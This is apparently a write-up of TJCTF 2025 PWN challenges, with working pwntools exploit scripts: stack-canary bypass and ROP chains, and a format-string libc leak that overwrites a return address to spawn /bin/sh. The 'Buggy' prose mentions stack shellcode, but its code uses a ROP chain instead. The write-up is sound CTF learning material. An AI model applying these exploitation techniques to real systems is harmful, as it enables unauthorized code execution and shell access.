team-logo
Published on

TJCTF 2025 - PWN challenges

Authors

Introduction

At last, I found a CTF where the PWN challenges were designed for regular participants, not pushed to the extreme. I solved 5 out of 6 tasks. More info about this CTF is here.

Table of contents


I Love Birds

ilovebirds This challenge involved bypassing a stack canary and constructing a ROP chain to call the win function. It also had its quirks—at certain places, you needed to provide 32-bit values instead of 64-bit ones.

Solution

from pwn import *             

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc tjc.tf 31625"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./birds"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

gadget=binary.sym.gadget
win=binary.sym.win

payload=72*b'A'+p32(0)+p32(0xDEADBEEF)+p64(0)+p64(gadget+10)+p64(0xA1B2C3D4)+p64(0)+p64(win)

p.sendlineafter(b'I made a canary to stop buffer overflows. Prove me wrong!',payload)
p.interactive()

tjctf{1_gu355_y0u_f0und_th3_f4ke_b1rd_ch1rp_CH1rp_cH1Rp_Ch1rP_ch1RP}

Extra Credit

alt text

This task required providing a specific negative student ID and a password found via binary analysis to access the teacher view. I obtained the password by disassembling the binary in Ghidra.

Solution

from pwn import *             

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="34.252.33.37:30828"
ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./gradeViewer"
binary = context.binary = ELF(BINARY_NAME, checksec=False)


if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

# Send the payload after the prompt "Enter your student ID:"
# The value -62482 (as a short) corresponds to 0x0BEE = 3054
p.sendlineafter(b"Enter your student ID:", b'-62482')

# Send the teacher's password after the appropriate prompt
# The password "f1shc0de" was found in Ghidra (binary analysis)
p.sendlineafter(b"[TEACHER VIEW] Enter your password [a-z, 0-9]", b"f1shc0de")

# Switch to interactive mode with the process (manual input possible)
p.interactive()

tjctf{th4nk_y0u_f0r_sav1ng_m3y_grade}

City Planning

city-planning

I solved this challenge in just a few minutes by simply entering a dot (".") at each prompt. Although the intended solution was likely different, I opted for this shortcut since I still had a few more flags to capture.

Solution

from pwn import *             

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc tjc.tf 31489"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

p.sendlineafter(b"Enter the name of your building:", b".")
p.sendlineafter(b"Enter the size of your building (in acres):", b".")
p.sendlineafter(b"Enter the east-west coordinate or your building (miles east of the city center):", b".")
p.sendlineafter(b"Enter the north-south coordinate or your building (miles north of the city center):", b".")
p.sendlineafter(b"Enter the east-west coordinate:", b".")
p.sendlineafter(b"Enter the north-south coordinate:", b".")
p.interactive()

tjctf{a_tru3_4rchit3ct_2erg4b5}

wrong-warp

wrong-warp At first glance, the code appeared to be a simple buffer overflow, but the challenge actually required a lot of checks and careful analysis of different execution paths. This was not a straightforward task—it demanded thorough code review and tracing to determine the correct way to exploit the vulnerability.

Additionally, to obtain the flag, it was necessary to ensure that the warrior was finalBoss instead of the default villager or wolf. This required manipulating the buffer so that program execution was redirected to the fight function with an argument pointing to the string "finalBoss".

Solution


from pwn import *             

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="nc tjc.tf 31365"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./heroQuest"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

rop=ROP(binary)
pop_rdi=rop.find_gadget(['pop rdi','ret'])[0]
fight=binary.sym.fight
finalBoss_string = binary.search(b"finalBoss").__next__()

main=binary.sym.main

payload=40*b'\x00'+p64(pop_rdi)+p64(finalBoss_string)+p64(fight)
p.sendlineafter(b"First, enter the name for your save file!", b"my_savefile\n")
p.sendlineafter(b"You can go (n)orth, (e)ast, (s)outh, or (w)est.", b"w")
p.sendlineafter(b"Options: (a)sk about the castle, (f)ight villagers, (r)est at the inn to save, or (g)o back",b'r')
p.sendlineafter(b"You decide to take a rest. Enter the name for your save file:",payload)
p.interactive()

tjctf{up_up_d0wn_d0wn_l3ft_r1ght_l3ft_r1ght_b_a}

Buggy

buggy This was a more advanced format string vulnerability challenge, requiring leaking addresses and overwriting return addresses to execute a shell.

However, I chose a more challenging path: I later realized that the stack was both writable and executable, so I exploited this property instead of using the standard libc ROP chain. This approach allowed me to inject and execute shellcode directly on the stack, which made the exploitation process more interesting!

I also spent some time analyzing which version of glibc was used in the challenge. After some investigation, I determined that it was glibc 2.39. Before running the exploit, it was necessary to leak libc addresses from the stack using format string payloads like %22$p, %43$p, %49$p, %51$p, and %143$p. For example, %143$p revealed the return address of __libc_start_call_main+122, which is used to locate the stack position for the ROP chain.

The exploit uses the format string vulnerability to overwrite this return address and set up a ROP chain (ret; pop rdi; bin_sh; system) by writing each value byte-by-byte via repeated 'deposit' actions. Once the chain is in place, exiting the function triggers the payload and spawns a shell.

Solution

from pwn import *             

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc tjc.tf 31363"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./chall_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc  = ELF('./libc.so.6', checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)    
else:
    p = process(binary.path)    

stack_leak = p.recvuntil(b',')

stack_leak = int(stack_leak.strip(b','), 16)
stack_write=stack_leak-0xe8+0x500

p.sendlineafter(b'What would you like to do? (view balance|deposit|withdraw|transfer|exit)', b'deposit')
p.sendlineafter(b'Enter amount:', b'%143$p')
libc_start_call_main = int(p.recvline().strip(), 16)
libc.address = libc_start_call_main - 0x2a1ca
system = libc.sym.system
bin_sh = next(libc.search(b'/bin/sh'))
rop = ROP(libc)
ret = rop.find_gadget(['ret'])[0]
pop_rdi = libc.address + 0x10f75b

# The following loop performs the format string exploit to overwrite the return address on the stack.
# For each offset (0, 8, 16, 24), it writes the corresponding value (ret, pop_rdi, bin_sh, system)
# to the calculated stack address. This sets up a ROP chain: ret; pop rdi; bin_sh; system.
# Each write is done using a separate 'deposit' action, leveraging the format string vulnerability.

for offset, value in zip([0, 8, 16, 24], [ret, pop_rdi, bin_sh, system]):
    p.sendlineafter(b'What would you like to do? (view balance|deposit|withdraw|transfer|exit)', b'deposit')
    payload = fmtstr_payload(12, {stack_write + offset: value}, write_size='byte')
    p.sendlineafter(b'Enter amount:', payload)

# After setting up the ROP chain, trigger the function return to execute the chain and spawn a shell.
p.sendlineafter(b'What would you like to do? (view balance|deposit|withdraw|transfer|exit)', b'exit')

p.interactive()

tjctf{sys_c4ll3d_l1nux_294835}

Conclusion

There is still one more challenge left (linked), which I managed to solve partially. Perhaps in the future, I will return to complete the full set of tasks. This CTF was great.